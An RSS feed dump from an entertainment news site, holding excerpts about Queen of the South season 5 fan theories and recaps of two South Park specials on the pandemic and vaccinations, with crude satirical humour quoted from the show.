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]]> https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/feed/ 0 Queen of the South season 5: Isabela Vargas’ return ‘sealed’ as fans spot pilot clue https://briefnews.eu/queen-of-the-south-season-5-isabela-vargas-return-sealed-as-fans-spot-pilot-clue/ https://briefnews.eu/queen-of-the-south-season-5-isabela-vargas-return-sealed-as-fans-spot-pilot-clue/#respond Wed, 17 Mar 2021 02:55:17 +0000 https://briefnews.eu/queen-of-the-south-season-5-isabela-vargas-return-sealed-as-fans-spot-pilot-clue/

Unfortunately, this fan appeared to be in the minority as others expressed their dislike for Isabela’s bratty attitude in past episodes.

Another viewer hit back: “Everytime she came on screen I wanted to fast forward the scene.

“The actress was too cringy for me and the character came off as immature and annoying.”

While the Vargas’ involvement, if any, in the fifth season remains a mystery, could the notorious crime family finally return to take revenge on Teresa in the Big Easy?

Queen of the South season 5 premieres Wednesday, April 7 on the USA Network.

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]]> https://briefnews.eu/queen-of-the-south-season-5-isabela-vargas-return-sealed-as-fans-spot-pilot-clue/feed/ 0 South Park Vaccination Special Welcomes Back Mr. Garrison as QAnon’s ‘Chosen One’ — Grade It! https://briefnews.eu/south-park-vaccination-special-welcomes-back-mr-garrison-as-qanons-chosen-one-grade-it/ https://briefnews.eu/south-park-vaccination-special-welcomes-back-mr-garrison-as-qanons-chosen-one-grade-it/#respond Thu, 11 Mar 2021 02:41:47 +0000 https://briefnews.eu/south-park-vaccination-special-welcomes-back-mr-garrison-as-qanons-chosen-one-grade-it/

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Six months after South Park explored the origins of the coronavirus (we wish we could forget what Randy Marsh and Mickey Mouse did in that back alley!), the series returned to Comedy Central on Wednesday with an equally tasteful “vaccination special.”

The hour-long marathon of madness began like any normal episode, with Cartman pulling a period-related prank on the gang’s = teacher in an attempt to lift his friends’ collective spirit and ease the strain this past year has put on their “bro-ship.” An extremely not-amused Ms. Nelson quit her job on the spot, lamenting that was literally risking her life by showing up to teach these ungrateful little demons.

This unexpected vacancy in the faculty at South Park Elementary School ushered in the long-awaited return of Mr. Garrison, fresh off his “controversial” sabbatical as POTUS. And because he previously identified as “president,” Mr. Garrison now came equipped with his own Secret Service detail. Ladies and gentlemen, say hello to Mr. Service. Just like a Winnie the Pooh, he’s business on the top, party on the bottom.

South Park Vaccination SpecialUnfortunately — and for the life of us, we can’t imagine why — Mr. Garrison found himself just as unwelcome by his students as by his fellow South Park residents. Except, of course, for lingering supporters like Bob White. (“All of us Whites were really on your side!”) Bob and his fellow QAnon conspiracists even bent over backwards to decipher what they believed was a coded message from the former president (“Blow s–t out your d–k hole!”), ultimately forming an “educational” group known as… Tutor-non. (“The elite want to f–k with our kids? We’ll f–k theirs!”)

Thus began the most misguided educational experiment in South Park history — and that’s saying a lot. From Hollywood’s insatiable thirst for adrenochrome to the truth behind Jeffrey Epstein’s alleged suicide, Tutor-non’s curriculum was exactly what you would expect it to be. (“Do you know what pedophilia is?” one tutor asked. “Here, let me show you.”)

Meanwhile, the boys attempted to set things right by getting Ms. Nelson back at school. And because vaccinating the teachers was the only way to ensure that, the boys enlisted a kind old lady’s assistance breaking into the most elusive club in town: Walgreens. In true South Park fashion, of course, the boys’ plan was sidelined when everyone in town started hitting them up for vaccines — either by guilting them (“Your mom and I aren’t spring chickens,” Gerald reminded Stan), or by offering to pay.

South Park Vaccination SpecialDespite nearly giving into temptation — Stan literally caught Kyle trying to replace some of the vaccines with Cactus Cooler — the boys eventually brought the vaccines to South Park Elementary, only to encounter yet another obstacle: an angry mob of Li’l Q-ties, led by a fully radicalized Scott Malkinson.

Elsewhere, Mr. Garrison turned to the Whites for answers, which (shocker!) only led him further down the rabbit hole. Within minutes, he became fully convinced that the adrenachrome-chugging “elites” were trying to turn the world against him, and the only solution was to stop the teachers from getting vaccinated. What’s more, he ended up striking a deal with the invisible elites to get his old life back — and he knew he got his wish when Mr. Service magically turned into Mr. Hat.

The elites further bathed South Park in benevolent blessings by sending an Air Israel plane to deliver enough vaccinations for everyone in town. “I think I owe you all a big apology,” Mr. Garrison told everyone. “I came here expecting things to go back to normal, but we’ve all been through the proverbial butt hole of hardships lately. I thought we could all just magically be friends again, but relationships are very fragile things. And in times of crisis, when we need each other most, it’s sometimes when we grow furthest apart. But through it all, Mr. White here has taught me a very important lesson: Make sure you’re on the side of the people with the most power.”

South Park Vaccination SpecialThe people of South Park were overjoyed to finally be vaccinated, but not everyone got the happy ending they deserved. (R.I.P., Ms. Nelson!) In fact, the special also ended on a pretty low note for the boys, who agreed to formally dissolve their “bro-ship” and share custody of Kenny on alternating weekends.

Oh well, at least they’re reopening Casa Bonita.

Your thoughts on the South Park vaccination special? Grade it below, then drop a comment with your full review.

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]]> https://briefnews.eu/south-park-vaccination-special-welcomes-back-mr-garrison-as-qanons-chosen-one-grade-it/feed/ 0 Queen of the South season 5 theories: Showrunner ‘rules out’ Eddie Brucks’ return https://briefnews.eu/queen-of-the-south-season-5-theories-showrunner-rules-out-eddie-brucks-return/ https://briefnews.eu/queen-of-the-south-season-5-theories-showrunner-rules-out-eddie-brucks-return/#respond Tue, 09 Feb 2021 05:48:24 +0000 https://briefnews.eu/queen-of-the-south-season-5-theories-showrunner-rules-out-eddie-brucks-return/

Eddie’s decision not to visit Teresa in hospital following the attack from Judge Lafayette (David Andrews) already drew perturbed reactions from the audience in season four.

However, their brief reunion at the end of the season was met with suspicion, with some even suggesting he could be an undercover agent sent by the CIA to dismantle Teresa’s drug operation from the inside.

In a recent discussion on Twitter, Rodriguez indicated viewers’ hopes for a more Teresa and James-centric season could come to fruition.

One fan asked: “How different would season four have been if James had been in it?”

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]]> https://briefnews.eu/queen-of-the-south-season-5-theories-showrunner-rules-out-eddie-brucks-return/feed/ 0 Queen of the South season 5 theories: Teresa is actually dead as fans spot major clue https://briefnews.eu/queen-of-the-south-season-5-theories-teresa-is-actually-dead-as-fans-spot-major-clue/ https://briefnews.eu/queen-of-the-south-season-5-theories-teresa-is-actually-dead-as-fans-spot-major-clue/#respond Wed, 27 Jan 2021 03:54:47 +0000 https://briefnews.eu/queen-of-the-south-season-5-theories-teresa-is-actually-dead-as-fans-spot-major-clue/

A debate surrounding the fate of queenpin Teresa Mendoza (played by Alice Braga) has once again gripped Queen of the South’s loyal legion of fans. The series is hoped to make its return in the States this year on the USA Network, and Netflix in other territories, and could finally explain the ambiguous flash forward which kicked off the very first episode. 

Viewers are convinced we’ll finally get an explanation for Teresa Mendoza’s apparent death scene which precedes the first episode of Queen of the South.

Although it’s not yet confirmed to be returning for a sixth season, fans are concerned the confirmed fifth instalment could end with the drug mogul’s tragic demise. 

Throughout the series, Teresa communicates with her alter-ego, an idealised version of her future successful self, the titular Queen of the South.

However, the first season also seems to confirm the rich and powerful drug dealer will eventually meet an unfortunate end at the hands of an unknown rival. 

READ MORE: Queen of the South final season: Is James going to kill Teresa?

One fan brought up the mysterious flash forward when they spoke about their new perspective on the series from rewatching earlier episodes in a recent Reddit thread.

User PrivateSpeaker posted: “I started watching the show again, and I totally forgot that in the first scene we see Teresa do coke and then get shot in the abdomen.

“Do we think she dies there and the series is her life running before her eyes in those last moments?”

Teresa starts off the series by narrating her successes in life, before cutting back to her early days as a runner for Camila Vargas (Veronica Falcón).

In season four, fans saw the sudden return of old friend James Valdez (Peter Gadiot) after his absence from the end of season three. 

Teresa and James’ reunion is speculated to lead to Camila Vargas’ return to the series, meaning the formidable cartel leader could be the one to take out the Queen of the South.

She’ll also be facing off against Judge Lafayette (David Andrews) once more in the new outing, though one fan had an even more unexpected theory for the identity of Teresa’s murderer.

They speculated: “They have other snipers in the cartel world, I’m sure, but none like James.”

“He was in a highly decorated ranking of the army. Teresa is hard to kill. I really believe he would be the only one smart enough to do it.

“How startling would it be if they gave away the answers from the very beginning but no one noticed?”

Although many fans are hoping for the pair to get together in what could be Queen of the South’s fifth and final season, there’s always a chance the series will opt for a tragic twist and force James to kill the love of his life.

Queen of the South season 4 is available to stream on Netflix.

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]]> https://briefnews.eu/queen-of-the-south-season-5-theories-teresa-is-actually-dead-as-fans-spot-major-clue/feed/ 0 Queen of the South season 5 spoilers: Producer posts new look at James return ‘Here he is’ https://briefnews.eu/queen-of-the-south-season-5-spoilers-producer-posts-new-look-at-james-return-here-he-is/ https://briefnews.eu/queen-of-the-south-season-5-spoilers-producer-posts-new-look-at-james-return-here-he-is/#respond Mon, 21 Dec 2020 01:05:43 +0000 https://briefnews.eu/queen-of-the-south-season-5-spoilers-producer-posts-new-look-at-james-return-here-he-is/

“If he dies, it sucks. It would be pointless to have him come back just to have his character kill off.”

Thankfully, new showrunner Dailyn Rodriguez confirmed James is set to play a major part in the next season, so there are hopefully no fears of Teresa’s potential love interest disappearing halfway through.

New updates have certainly been appreciated during production, which was initially put on hold due to the outbreak of the pandemic back in March.

However, now the show’s filming schedule has been back on track since November, viewers are still keeping their eyes open for any hint for when Queen of the South will actually air next year.

Queen of the South season 4 is available to stream on Netflix.

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]]> https://briefnews.eu/queen-of-the-south-season-5-spoilers-producer-posts-new-look-at-james-return-here-he-is/feed/ 0 Queen of the South season five boss causes fan meltdown with first look at the new script https://briefnews.eu/queen-of-the-south-season-five-boss-causes-fan-meltdown-with-first-look-at-the-new-script/ https://briefnews.eu/queen-of-the-south-season-five-boss-causes-fan-meltdown-with-first-look-at-the-new-script/#respond Tue, 20 Oct 2020 04:25:05 +0000 https://briefnews.eu/queen-of-the-south-season-five-boss-causes-fan-meltdown-with-first-look-at-the-new-script/

Thankfully, hype for the crime drama’s new instalment has started building again as Queen of the South’s cast and crew have confirmed production is finally making headway. 

New showrunner Dailyn Rodriguez recently took to Twitter to verify a post from the show’s script supervisor, Barry Caldwell. 

Caldwell prompted insane levels of excitement from the Queen of the South fanbase when he messaged the show’s viewer-run Facebook group with the first look at the show’s scripts.

Accompanying the post, he wrote: “Hey Familia! Your favorite Cartel Script Supervisor is back in Louisiana!”

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]]> https://briefnews.eu/queen-of-the-south-season-five-boss-causes-fan-meltdown-with-first-look-at-the-new-script/feed/ 0 South Park Tackles the Coronavirus, Police Defunding and More in Utterly Insane Pandemic Special — Grade It https://briefnews.eu/south-park-tackles-the-coronavirus-police-defunding-and-more-in-utterly-insane-pandemic-special-grade-it/ https://briefnews.eu/south-park-tackles-the-coronavirus-police-defunding-and-more-in-utterly-insane-pandemic-special-grade-it/#respond Thu, 01 Oct 2020 02:17:05 +0000 https://briefnews.eu/south-park-tackles-the-coronavirus-police-defunding-and-more-in-utterly-insane-pandemic-special-grade-it/

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For months, South Park fans have wondered how the Comedy Central staple would tackle the current state of the world. After Wednesday’s pandemic special, they finally have their answer — and it’s horrifying.

Naturally, everyone in South Park takes a slightly different approach to the pandemic. Randy sees it as a business opportunity, proudly calling a summit in the town square to announce that Tegridy Farms is having a “pandemic special,” a 10 percent-off extravaganza. “People are dying, Randy, and all you can think is to make a special about it?” asks voice-of-reason Sharon. But Randy remains confident in his latest venture, and it isn’t long before he’s rubbing his success in his family’s face.

That is, until a news report confirms that scientists have pinpointed the origin of the coronavirus to a specific bat in a “seedy part” of Wuhan. The news stops Randy dead in his tracks, as he suddenly recalls having unprotected sex with a bat during his trip to Wuhan. It was during one of his all-night benders with Mickey Mouse, who reminded Randy that a bat is basically just a mouse with wings.

It’s a serious wake-up call for Randy, who previously referred to COVID-19 as “some dirty virus from China” and downplayed his brother-in-law’s diagnosis because “Jimbo’s a fat alcoholic who would be in the hospital anyway.” Randy is desperate to hide the truth from his wife because, as he points out, “If she finds out I started the pandemic, she’s going to be a total bitch about it.”

Randy is briefly relieved when follow-up tests reveal that the bat is not connected to the pandemic, but a whole new panic sets in when he learns the real creature responsible. It’s a actually a pangolin, and you guessed it — Randy suddenly remembers that he and Mickey had sex with one of those, too.

He immediately attempts to cover his tracks, infiltrating the containment lab by posing as a “pandemic specialist.” (By his logic, he’s not lying!) After setting his one-time lover free, Randy thinks he’s in the clear, until Mickey threatens to expose him to the world. Thinking quickly, Randy buys himself some time by testing a new theory: If he can get his DNA into COVID-19 patients, he could vaccinate them without them anyone learning the truth. So he does just that by depositing his specimen (ugh) into a Tegridy joint and delivering it to Jimbo. And wouldn’t you know, it works!

So Randy gets down to business, filling his massive supply of weed with his own personal seed. (Grossest rhyme ever.) But while this “special” strain of weed does briefly eliminate symptoms of COVID-19, it comes with an unexpected side effect: a Randy-style mustache! Pretty soon, every stoner in town is rocking his signature ‘stache, forcing Dr. Anthony Fauci to encourage all Americans to start wearing their “face diaper” over their mouth “where the mustache would be.” (Ironically, this is what gets everyone to start wearing their masks correctly.)

South Park Pandemic SpecialMeanwhile, the children of South Park must readjust to life back in the classroom. They’re all a little hesitant, but no one is more opposed to the return of in-person learning than Cartman, who opens the special with a full-blown musical number about the unbridled pleasures of social distancing. The portly troublemaker, who angrily concludes that “Cartman’s life doesn’t matter,” is determined to make things very uncomfortable for his classmates.

Then again, things at South Park Elementary School are already a mess, what with most of the teachers being replaced by police officers. As Detective Harris explains, they force has been defunded “due to events beyond our control” and wants to re-establish itself as a leader of the community. Cartman takes advantage of the police presence, starting a fight that leads to Token getting shot. After dismissing the shooting as a “COVID-related” injury, the cops force the entire school into lockdown.

The boys make a desperate plea to President Garrison, who only takes their call because they misrepresent themselves as Mr. Slave. (Aww!) They beg him to return to South Park and stop the pandemic, to which he asks, “Why would I do that? I made a promise to the American people to get rid of all the Mexicans.” When the boys remind POTUS that it isn’t only killing Mexicans, he replies, “Well, it’s killing a lot of them. I was doing a crap job until this pandemic happened. I’m going to actively not do anything, and you can eat s–t off my balls and die.”

Stans’ attention then turns to a downtrodden Butters; in an attempt to life his spirits, the boys book him an appointment at Build-a-Bear and help him break out out of quarantine. At this point, the townspeople have been whipped into a looting frenzy (doesn’t take much, huh?) until they’re at each other’s throats in the streets. The police claim they can’t get involved because they’ve been defunded, so the mayor signs an executive order to re-fund them. Once again, it takes only a few minutes for them to start shooting innocent children.

Just when the madness reaches its apex, Randy decides to come clean, bringing the pangolin out for everyone to see. But Cartman moves surprisingly quickly, snatching the creature and dangling it over the Build-a-Bear machine. (As if it hasn’t been through enough already!) One of Stan’s classic speeches inspires a change of heart within Cartman, so he hands the pangolin over to the scientists, ensuring a vaccine can be made.

Sadly, the pangolin — and the scientist holding it — is then burned alive by President Garrison, who pops into the frame to remind everyone, “Don’t forget to get out and vote, everybody! Big election coming up!” Yikes.

Was South Park‘s quarantine special everything you hoped it would be? Grade it below, then drop a comment with your full review.

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